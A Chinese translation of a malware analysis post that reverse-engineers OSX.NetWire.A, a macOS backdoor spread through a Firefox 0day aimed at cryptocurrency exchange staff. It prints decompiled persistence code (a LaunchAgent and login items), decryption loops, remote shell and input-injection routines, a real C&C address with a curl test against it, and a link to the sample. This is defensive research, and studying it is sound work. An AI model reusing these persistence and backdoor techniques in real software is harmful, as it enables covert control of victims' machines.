利用Firefox 0day传播的macOS恶意软件(Part 2)

 

0x00 前言

大家可以从此处.zip)下载本文分析的恶意样本:OSX.NetWire.A(密码:infect3d),注意别感染自己的系统。

最近有攻击者利用Firefox 0day漏洞来攻击各种加密货币交易所的员工,我自己也收到了某位受害者的邮件,其中提供了攻击细节以及攻击者在目标系统中安装的恶意软件。

来自Coinbase的安全研究员Philip Martin也提到过关于该攻击的有趣细节

受害者和Philip都提供了非常多的信息,对我帮助很大。

在上一篇文章中,我们讨论了攻击方法,确认了攻击者使用的OSX.Netwire.A恶意软件样本。此外,我们也讨论了恶意软件用来实现本地驻留的具体方法(通过启动代理及登录项):

$ cat ~/Library/LaunchAgents/com.mac.host.plist
{
    KeepAlive = 0;
    Label = "com.mac.host";
    ProgramArguments =     (
        "/Users/user/.defaults/Finder.app/Contents/MacOS/Finder"
    );
    RunAtLoad = 1;
}

由于恶意软件在启动代理(com.mac.host.plist)中设置了RunAtLoad(值为1),因此每次用户登录时,系统都会自动启用指定的程序:.defaults/Finder.app/Contents/MacOS/Finder

恶意软件还通过登录项确保每次用户登录时都能启动恶意软件,然而登录项会在UI中显示,因此会暴露恶意软件的行踪:

在本文中,我们将“深入”分析恶意软件,主要关注如下几方面:

  • 安装逻辑
  • 对隐藏的“配置”文件的解密过程
  • 对内置的C&C服务器地址的解密过程
  • 远程任务下发以及具体功能(屏幕截图、合成事件等等)

 

0x01 OSX.NetWire.A详细分析

这个OSX.NetWire.A样本名为Finder.app,对应的哈希值如下:

MD5: DE3A8B1E149312DAC5B8584A33C3F3C6
SHA1: 23017A55B3D25A2597B7148214FD8FB2372591A5
SHA256: 07A4E04EE8B4C8DC0F7507F56DC24DB00537D4637AFEE43DBB9357D4D54F6FF4

我们可以使用Hopper来逆向分析恶意软件二进制文件,在虚拟机中使用lldb进行调试。

该恶意软件是一款标准的macOS应用,但可以兼容版本较老的OSX。比如,恶意软件中只包含32位代码,并且根据MachOView,这款软件可以运行在OSX 10.5以上的系统中:

MachOView的输出中,我们找不到任何Objective-C区段(__objc*),这意味着恶意软件并没有使用Objective-C开发(这一点比较少见,通常表明恶意软件开发者并不是原生的Mac程序员,可能更喜欢在Windows或者Linux上编程)。

我们也可以通过class-dump工具来确认这一点(注意输出结果中包含This file does not contain any Objective-C runtime information这样一句话):

$ class-dump Finder.app/Contents/MacOS/Finder 
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

//
// File: Finder.app/Contents/MacOS/Finder
// UUID: 8C8AC65D-8F7C-368A-AD5A-E7FD9D58E63C
//
//                           Arch: i386
//       Minimum Mac OS X version: 10.5.0
//                    SDK version: 10.12.0

//
// This file does not contain any Objective-C runtime information.
//

在分析恶意软件片段时,导出其中包含的字符串总归是不错的一种思路(通常我们可以获得关于恶意软件功能的一些有价值信息)。我们可以使用系统内置的Strings工具(加上-a参数),从程序文件中提取所有可打印的(ascii)字符串:

$ strings -a Finder.app/Contents/MacOS/Finder

CONNECT %s:%d HTTP/1.0
Host: %s:%d
exit
/bin/sh
/bin/bash

checkip.dyndns.org
GET / HTTP/1.1
Host: checkip.dyndns.org
Current IP Address: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>%s</string>
    <key>ProgramArguments</key>
    <array>
        <string>%s</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <%s/>
</dict>
</plist>

%s/Library/LaunchAgents/
%s%s.plist

.settings.conf
hyd7u5jdi8
/tmp/.%s

其中我们能看到一些有趣的字符串,可以猜测出恶意软件的功能(比如网络功能、驻留功能等)。不幸的是,我们看不到恶意软件的安装路径(这是比较有用的一个特征),也看不到C&C服务器地址。这一点其实也很正常,因为开发者通常会加密这些信息,避免恶意软件被分析。为了提取这些信息,我们需要进一步研究。

我们可以在LC_UNIXTHREAD加载命令中查找恶意软件的入口点,特别关注的是EIP寄存器。利用otool工具,我们可以导出这条命令,提取相关地址(0x0000196c):

$ otool -l Finder.app/Contents/MacOS/Finder 

...

Load command 9
        cmd LC_UNIXTHREAD
    cmdsize 80
     flavor i386_THREAD_STATE
      count i386_THREAD_STATE_COUNT
      eax 0x00000000 ebx    0x00000000 ecx 0x00000000 edx 0x00000000
      edi 0x00000000 esi    0x00000000 ebp 0x00000000 esp 0x00000000
      ss  0x00000000 eflags 0x00000000 eip 0x0000196c cs  0x00000000
      ds  0x00000000 es     0x00000000 fs  0x00000000 gs  0x00000000

在反汇编器中,0x0000196c处的代码包含C运行时对应的标准入口点逻辑:

 1int EntryPoint() {
 2    ebx = *(&stack[-4] + 0x4);
 3    ebx = (ebx + 0x1 << 0x2) + &stack[-4] + 0x8;
 4    do {
 5            eax = *ebx;
 6            ebx = ebx + 0x4;
 7    } while (eax != 0x0);
 8    eax = main();
 9    eax = exit(eax);
10    return eax;
11}

注意其中对恶意软件main函数的调用(第8行),我们从这里开始分析。

恶意软件main函数(0x00006b17)一开始就会解析内置的各种数据。

int main() {
    ...
    edx = *dword_e700;
    edi = *dword_e6f0;
    esi = edi << 0xb ^ edi;
    edi = *dword_e6fc;
    ebx = *dword_e6f4;
    *dword_e6f4 = edi;
    ecx = eax & edx ^ edi >> 0x13 ^ esi ^ edi ^ esi >> 0x8 ^ *dword_e704;
    *dword_e704 = ecx;
    *dword_e6f0 = *dword_e6f8;
    *dword_e6f8 = edi >> 0x13 ^ esi ^ edi ^ esi >> 0x8;
    *dword_e6fc = (ebx << 0xb ^ ebx) >> 0x8 ^ ebx << 0xb ...) >> 0x13;
    *dword_e700 = (ebx << 0xb ^ ebx) >> 0x8 ^ ebx << 0xb ...) >> 0x13 ^ edx ^ (ecx | eax);
    ecx = 0x1;
    eax = 0x0;
    do {
            ebx = ecx & 0xff;
            *(int8_t *)(esp + ebx + 0x1898) = eax;
            esi = eax;
            *(int8_t *)(esp + eax + 0x5898) = ecx;
            ecx = 0x0;
            do {
                    eax = ebx + ebx;
                    ecx = ecx ^ HIBYTE(HIBYTE(ebx) & -(ebx & 0x1));
                    edx = (HIBYTE(ebx) & -(ebx & 0x1)) >> 0x1;
                    ebx = eax ^ 0x11b;
                    if ((HIBYTE(eax) & 0x1) == 0x0) {
                            ebx = eax;
                    }
            } while (edx != 0x0);
            eax = esi + 0x1;
    } while (eax != 0xff);
}

加密数据位于__data段的起始位置附近(磁盘上的0x0000D2F0地址处,内存中的0x0000E2F0地址处):

通常情况下,我们可以在解密逻辑后,(在调试器中)设置断点然后导出解密后的数据。这个操作可以通过lldb来完成(我们选择在0x00007658上设置断点,这个位置紧跟在解密逻辑之后)。

$ lldb Finder.app

(lldb) process launch --stop-at-entry
(lldb) b 0x00007658
Breakpoint 1: where = Finder`Finder[0x00007658], address = 0x00007658


(lldb) c
Process 1130 resuming
Process 1130 stopped (stop reason = breakpoint 1.1)

(lldb) x/100xs 0x0000e2f0 --force
0x0000e2f0: ""
...
0x0000e2f8: "89.34.111.113:443;"
0x0000e4f8: "Password"
0x0000e52a: "HostId-%Rand%"
0x0000e53b: "Default Group"
0x0000e549: "NC"
0x0000e54c: "-"
0x0000e555: "%home%/.defaults/Finder"
0x0000e5d6: "com.mac.host"
0x0000e607: "{0Q44F73L-1XD5-6N1H-53K4-I28DQ30QB8Q1}"
...

这里我们可以看到一些比较有趣的信息,包括:

  • 命令及控制服务器地址:89.34.111.113443端口)
  • 唯一标识主机的格式化字符串:HostId-%Rand%
  • 恶意软件安装路径的格式化字符串:%home%/.defaults/Finder
  • 恶意软件启动代理对应的名称:com.mac.host

继续分析,恶意软件会将应用程序包拷贝到~/.defaults/Finder.app目录中,完成安装任务。恶意软件通过0x000034de地址处的函数完成该操作,该函数首先会(通过open$UNIX2003)打开指向恶意软件程序镜像的一个文件句柄:

(lldb) c
Process stopped

->  0x3501: calll  0xc930  ; symbol stub for: open$UNIX2003

(lldb) x/x $esp
0xbfff8190: 0xbfff95f0
(lldb) x/s 0xbfff95f0
0xbfff95f0: "/Users/user/Desktop/Wirenet (NetWeirdRC)/A/Finder.app/Contents/MacOS/Finder"

...

然后通过read$UNIX2003 / write$UNIX2003循环,将自身拷贝到~/.defaults/目录中:

loc_3568:
    do {
            if (ebx != 0x0) {
                    memset(ebp, 0x0, ebx);
                    esp = (esp - 0x10) + 0x10;
            }
            esp = (esp - 0x10) + 0x10;
            esi = read$UNIX2003(edi, ebp, ebx);
            if (esi <= 0x0) {
                break;
            }
            esp = (esp - 0x10) + 0x10;
    } while (write$UNIX2003(var_20, ebp, esi) == esi);

通过这种方式(即读/写循环)拷贝文件是非常传统的一种C/Linux方法。

如果使用Cocoa API,我们只需要一行代码就可以完成该操作:

[[NSFileManager defaultManager] copyItemAtPath:source toPath:destination error:nil];

为了观察恶意软件的安装行为,我们可以使用macOS内置的fs_usage文件监控工具:

# fs_usage -w -f filesystem | grep Finder

mkdir /Users/user/.defaults  Finder.7868
mkdir /Users/user/.defaults/Finder.app/ Finder.7868
mkdir /Users/user/.defaults/Finder.app/Contents Finder.7868
mkdir /Users/user/.defaults/Finder.app/Contents/MacOS Finder.7868

WrData[A] /Users/user/.defaults/Finder.app/Contents/Info.plist Finder.7868
WrData[A] /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868
chmod  <rwxrwxrwx>  /Users/user/.defaults/Finder.app/Contents/MacOS/Finder Finder.7868

安装完毕后,恶意软件会运行安装后的拷贝(~/.defaults/Finder.app/Contents/MacOS/Finder),然后直接退出。

我们可以使用ProcInfo这款开源工具来观察恶意软件的启动行为:

# procInfo
process monitor enabled...

process start:
pid: 865
path: /Users/user/.defaults/Finder.app/Contents/MacOS/Finder

恶意软件安装后首先会部署驻留机制。在上一篇文章中,我们发现恶意软件会通过启动代理(~/Library/LaunchAgents/com.mac.host.plist)以及登录项来实现驻留:

以启动代理实现驻留的代码位于0x000079f3处:

memcpy(esi, "<?xml version="1.0" encoding="UTF-8"?>n<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//ENnt"http://www.apple.com/DTDs/PropertyList-1.0.dtd">n<plist version="1.0">n<dict>n    <key>Label</key>n    <string>%s</string>n    <key>ProgramArguments</key>…", 0x190);

eax = getenv("HOME");

eax = __snprintf_chk(&decodeBuffer, 0x400, 0x0, 0x400, "%s/Library/LaunchAgents/", eax);

if (mkdir_forAgent() != 0x0) {
  eax = __snprintf_chk(edi, 0x400, 0x0, 0x400, "%s%s.plist", &decodeBuffer, 0xe5d6);
  eax = asprintf(&var_688C, esi);

  edi = open$UNIX2003(edi, 0x601);
  if (edi >= 0x0) {
        write$UNIX2003(edi, var_688C, ebx);
        esp = (esp - 0x10) + 0x10;
        closeDynamically();
  }

简而言之,恶意软件会进行配置,然后将内置的plist写入~/Library/LaunchAgents/com.mac.host.plist中。当恶意软件启动时,会解密出plist的名称(com.mac.host.plist)。

以登录项实现驻留的代码紧随其后。恶意软件会利用LSSharedFileListCreate以及LSSharedFileListInsertItemURL API,将恶意软件添加到用户的登录项列表中:

eax = __snprintf_chk(&decodeBuffer, 0x400, 0x0, 0x400, "%s%s.app", &var_748C, &var_788C);
eax = CFURLCreateFromFileSystemRepresentation(0x0, &decodeBuffer, eax, 0x1);
if (eax != 0x0) {
  eax = LSSharedFileListCreate(0x0, **_kLSSharedFileListSessionLoginItems, 0x0);
  if (eax != 0x0) {
      eax = LSSharedFileListInsertItemURL(eax, **_kLSSharedFileListItemLast, 0x0, 0x0, edi, 0x0, 0x0);
  } 
}

(通过两种方式)完成驻留后,恶意软件会解析.settings.conf(如果不存在则创建该文件)。该文件包含0x7F字节的加密数据,这些数据保存在恶意软件的应用程序包中:

$ hexdump -C ~/.defaults/Finder.app/Contents/MacOS/.settings.conf 
00000000  4d b8 e4 95 77 1e a5 8a  25 a9 f8 9b af 73 30 e4  |M...w...%....s0.|
00000010  6e 6f 1d d8 da e9 36 a9  f2 76 ab 25 db e7 65 79  |no....6..v.%..ey|
00000020  95 0d 01 c9 fe 3e 2b 5d  51 c8 05 d5 0d 5d 66 14  |.....>+]Q....]f.|
00000030  fb 59 56 bd ed 74 ea 2b  fe 31 35 c0 54 70 65 f2  |.YV..t.+.15.Tpe.|
00000040  16 16 10 8b cb 87 93 99  6b 4a cb 91 19 f0 7b f3  |........kJ....{.|
00000050  e3 32 2b ad 11 d8 70 3c  01 aa 1d c8 89 2b b8 0c  |.2+...p<.....+..|
00000060  09 0e 62 ca 9a b8 5e 30  ad 65 82 b0 57 65 a1 a6  |..b...^0.e..We..|
00000070  89 d6 b2 d6 a8 d8 03 fd  23 8e 1e 4b 09 59 b6     |........#..K.Y.|
0000007f

但这里我们还是可以使用调试器来解密。我们只需要找到设置断点的位置,然后就可以解密出数据。

0x00007dbf处,恶意软件会调用open$UNIX2003 API来打开.settings.conf文件,然后在0x00007e82处读取所有内容(大小:0x7f)。这里会调用两个解密函数:sub_9487以及sub_950

sub_950函数代码片段如下所示:

do {
  edx = edx + 0x1 & 0xff;
  eax = *(int8_t *)(esp + edx + 0x8) & 0xff;
  ebx = ebx + eax & 0xff;
  ecx = *(int8_t *)(esp + ebx + 0x8);
  *(int8_t *)(esp + edx + 0x8) = ecx;
  *(int8_t *)(esp + ebx + 0x8) = eax;
  *(int8_t *)edi = *(int8_t *)edi ^ *(int8_t *)(esp + (ecx + eax & 0xff) + 0x8);
  edi = edi + 0x1;
  esi = esi - 0x1;
} while (esi != 0x0);

但实际上我们并不关心数据如何被解密。我们只需要在恶意软件调用第二个解密函数后设置断点,导出已解密的数据即可:

$ lldb Finder.app

...

(lldb) c
Process stopped (stop reason = breakpoint 1.1)
    frame #0: 0x00007ec0 Finder
->  0x7ec0: addl   $0x10, %esp


(lldb) x/0x7fx 0x0002eb8c
0x0002eb8c: 0x48 0x6f 0x73 0x74 0x49 0x64 0x2d 0x65
0x0002eb94: 0x79 0x6d 0x38 0x49 0x67 0x00 0x00 0x00
0x0002eb9c: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002eba4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebac: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebb4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebbc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebc4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebcc: 0x44 0x65 0x66 0x61 0x75 0x6c 0x74 0x20
0x0002ebd4: 0x47 0x72 0x6f 0x75 0x70 0x00 0x00 0x00
0x0002ebdc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ebe4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x32
0x0002ebec: 0x30 0x31 0x39 0x2f 0x30 0x36 0x2f 0x32
0x0002ebf4: 0x32 0x20 0x30 0x36 0x3a 0x32 0x33 0x3a
0x0002ebfc: 0x32 0x35 0x00 0x00 0x00 0x00 0x00 0x00
0x0002ec04: 0x00 0x00 0x00 0x00 0x00 0x00 0x00

(lldb) x/100s 0x0002eb8c
0x0002eb8c: "HostId-eym8Ig"

0x0002ebcc: "Default Group"

0x0002ebeb: "2019/06/22 06:23:25"

现在我们可以看到恶意软件在.settings.conf加密文件中存放的具体内容:

  • 被感染主机的标识ID
  • 被感染主机所属的组(可以允许攻击者根据目标公司来分类主机)
  • 可能对应“感染时间”的一个时间戳(恶意软件首次运行时生成)

接下来恶意软件会连接C&C服务器,获取具体任务。前文中我们已经解出过恶意软件服务器地址以及端口:89.34.111.113:443;(位于0x0000e2f8处)。

0x1f30处,恶意软件会调用gethostbyname API。在这个调用上设置断点后,我们可以确认89.34.111.113的确是C&C服务器地址:

$ lldb Finder.app

(lldb) b gethostbyname
Breakpoint 1: where = libsystem_info.dylib`gethostbyname

(lldb) c
Process stopped (stop reason = breakpoint 1.1)
    frame #0: 0xa7bd3540 libsystem_info.dylib`gethostbyname
->  0xa7bd3540 <+0>: pushl  %ebp

(lldb) x/wx $esp+4
0xbfff79c0: 0x00112240

(lldb) x/s 0x00112240
0x00112240: "89.34.111.113"

gethostbyname函数接收一个参数,即代表主机名或者ip地址的一个字符串。

因此当断点触发时,我们可以检查$esp+4处的指针(即第一个参数),打印出这个字符串。

恶意软件随后会尝试连接到89.34.111.113:443

int 0x00009a78 {
    ...
    edi = socket(0x2, 0x1, 0x6);
    esi = 0xffffffff;
    if (edi != 0xffffffff) {
      esp = (esp - 0x10) + 0x10;
      connect$UNIX2003(edi, ebx, 0x10);
      ...

}

我们的开源防火墙(LuLu)可以检测到这种连接行为:

不幸的是,在我们分析时此次连接无法创建成功,显然恶意软件的C&C服务器已下线:

$ lsof -i TCP
COMMAND PID USER  TYPE  NODE NAME
Finder  843 user  IPv4  TCP 192.168.0.128:49259->89.34.111.113:https (CLOSED)

手动连接这个服务器也会失败:

$ curl 89.34.111.113:443 
curl: (7) Failed to connect to 89.34.111.113 port 443: Connection refused

不必担心,通过静态分析,我们可以还原出恶意软件中接收服务器任务的代码逻辑,从而分析出远程攻击者能够调用的恶意软件功能。

0x000021cb地址处,恶意软件会调用一个函数,该函数会调用数据接收API(recv$UNIX2003)。如果收到有效的任务数据,恶意软件就会调用0x00004109处的函数,执行指定的任务。

在该函数被调用前,来自C&C服务器数据的第一个字节会被move到dl寄存器:

mov        dl, byte [esp+ecx+0x78ac+dataFromServer]

0x00004109处,这个字节会作为switch表的一个索引:

0x00004125         dec        dl
0x00004127         cmp        dl, 0x42
0x0000412a         ja         loc_6a10

...

0x00004145         movzx      eax, dl
0x00004148         jmp        dword [switch_table_d1b0+eax*4]

这是恶意软件经常使用的一种“协议模式”,其中第一个字节为恶意软件需要执行的任务或操作所对应的指令。换句话说,这就是待执行的“命令”。

为了澄清恶意软件的远程任务功能,我们可以看一下switch表(0x0000d1b0处)中引用了哪些函数。

由于时间并不充裕,这里我们不去详细分析恶意软件的所有功能。然而,我们会重点标出较为基础和有趣的一些功能。

大多数多功能后门可以在被感染主机上搜索信息,OSX.NetWire.A也不例外。通过0x2335)命令,恶意软件会收集关于系统的各种信息,包括:

  • 用户信息(通过geteuidgetpwuid以及%USER%
  • 主机信息(通过gethostname
  • cpu信息(通过machdep.cpu.brand_string/sysctlnametomib
  • 系统版本信息(通过CFCopySystemVersionDictionary
  • 恶意软件程序镜像信息(通过getpid / proc_pidpath
  • 系统架构(通过uname
  • 恶意软件pid(通过getpid
  • 系统时间信息(通过localtime

收集到的信息经过编码(或者加密)后,格式化成如下字符串:

eax = asprintf(&var_1024, "%sx07%dx07%sx07%sx07%sx07%llux07%llux07%llux07%cx07%sx07%sx07%sx07%s
x07%dx07%sx07%dx07%sx07%dx07%dx07%sx07%dx07%sx07%dx07%sx07%dx07", &var_284C, var_3484, &var_1224, &var_1424, &var_304C, var_3494, 0x0, var_34A0, var_3498, var_348C, var_3490, ebx, &var_344C, &var_244C, &var_346C, &var_1444, 0x20, 0xe2f8, edi, 0xe3f8, esi, var_3488, 0xe4f8, ebp, &var_2C4C);

然后发送回恶意软件的C&C服务器。

与预期相符,恶意软件也可以接收攻击者的远程命令,执行各种文件操作,比如重命名、创建目录、删除等。

比如可以通过0x1A26)命令来重命名文件:

0x00004f37         push       ebx 
0x00004f38         push       edi
0x00004f39         call       imp___symbol_stub__rename

通过0x1B27)命令,利用unlink API删除文件:

0x00004f5e         sub        esp, 0xc                                          
0x00004f61         push       esi
0x00004f62         mov        edi, ecx
0x00004f64         call       imp___symbol_stub__unlink

其他命令貌似与文件的读取、写入以及创建有关:

; case 0x23,
0x0000514e         sub        esp, 0x4
0x00005151         push       ebp
0x00005152         push       esi
0x00005153         push       dword [dword_eb68]
0x00005159         call       imp___symbol_stub__write$UNIX2003

OSX.Netwire.A也可以接收远程命令,与进程进行交互,比如可以列出进程信息(0x42命令):

; case 0x42,
...
push       esi
push       edi
push       0x0
push       0x1
call       imp___symbol_stub__proc_listpids

或者结束进程(0x2C命令):

; case 0x2C,
...
0x000056fa         push       0x9
0x000056fc         push       eax
0x000056fd         call       imp___symbol_stub__kill$UNIX2003

通过0x1925)命令,恶意软件会调用一个方法(0x0000344c),该方法会执行fork操作然后通过execv运行进程:

1eax = fork();
2if (((eax == 0xffffffff ? 0x1 : 0x0) != (eax <= 0x0 ? 0x1 : 0x0)) && (eax == 0x0)) {
3        execv(esi, &var_18);
4        eax = exit(0x0);
5}

如果收到0x2234)命令,恶意软件会调用一个函数(0x00002652),通过/bin/sh或者/bin/bash/执行shell命令:

 1if (stat("/bin/sh", edi) != 0x0) {
 2  ebp = "/bin/bash";
 3}
 4else {
 5  ebp = "/bin/bash";
 6  if ((var_109C & 0xffff & 0xf000) == 0x8000) {
 7          ebp = "/bin/sh";
 8  }
 9}
10
11ebx = posix_openpt(0x2);
12
13dup(var_10B0);
14dup(var_10B0);
15dup(var_10B0);
16
17setsid();
18ioctl(0x0, 0x20007461);
19...
20execvp(ebp, &var_A4);
21
22}

由于能够执行任意命令,因此恶意软件的功能实际上非常宽泛,远程攻击者可以完全控制被感染的系统。

恶意软件还可以与UI交互,比如捕捉屏幕截图。当恶意软件收到0x3755)命令时,就会调用CGMainDisplayID以及CGDisplayCreateImage来生成用户桌面的屏幕截图:

0x0000622c         movss      dword [esp+0x34ac+var_101C], xmm0
0x00006235         call       imp___symbol_stub__CGMainDisplayID
0x0000623a         sub        esp, 0xc
0x0000623d         push       eax
0x0000623e         call       imp___symbol_stub__CGDisplayCreateImage

有趣的是,OSX.Netwire.A可能还能接受键盘以及鼠标合成事件。

当从C&C服务器收到0x3452)命令时,恶意软件就会生成并发送合成的键盘事件。为了创建并发送该事件,恶意软件会调用CGEventCreateKeyboardEvent以及CGEventPost API。

1void sub_9a29() {
2    edi = CGEventCreateMouseEvent(0x0, edx, ...);
3    CGEventSetType(edi, edx);
4    CGEventPost(0x0, edi);
5    return;
6}

最终,恶意软件可以通过0x7命令实现自卸载。恶意软件会调用unlink来删除启动代理plist以及恶意软件的程序文件,然后调用LSSharedFileListItemRemove来移除登录项:

 1__snprintf_chk(&var_284C, 0x400, 0x0, 0x400, 
 2              "%s/Library/LaunchAgents/%s.plist", getenv("HOME"), 0xe5d6);
 3eax = unlink(&var_284C);
 4
 5if (getPath() != 0x0) {
 6  unlink(esi);
 7}
 8
 9LSSharedFileListItemRemove(var_34A4, esi);
10
11...

 

0x02 总结

通过Firefox 0day,攻击者有针对地选择加密货币交易所的员工发起攻击,以实现macOS程序(OSX.NetWire.A)的安装部署。

在本文中,我们详细分析了恶意软件,包括内部工作原理以及具体功能。我们分析了如何提取经过加密的C&C服务器地址、如何解密恶意软件隐藏的.settings.conf文件,也详细分析了这款软件支持的各种功能。

当然,大家可以试一下Objective-See提供的各种工具,可以方便检测这个威胁。

(完)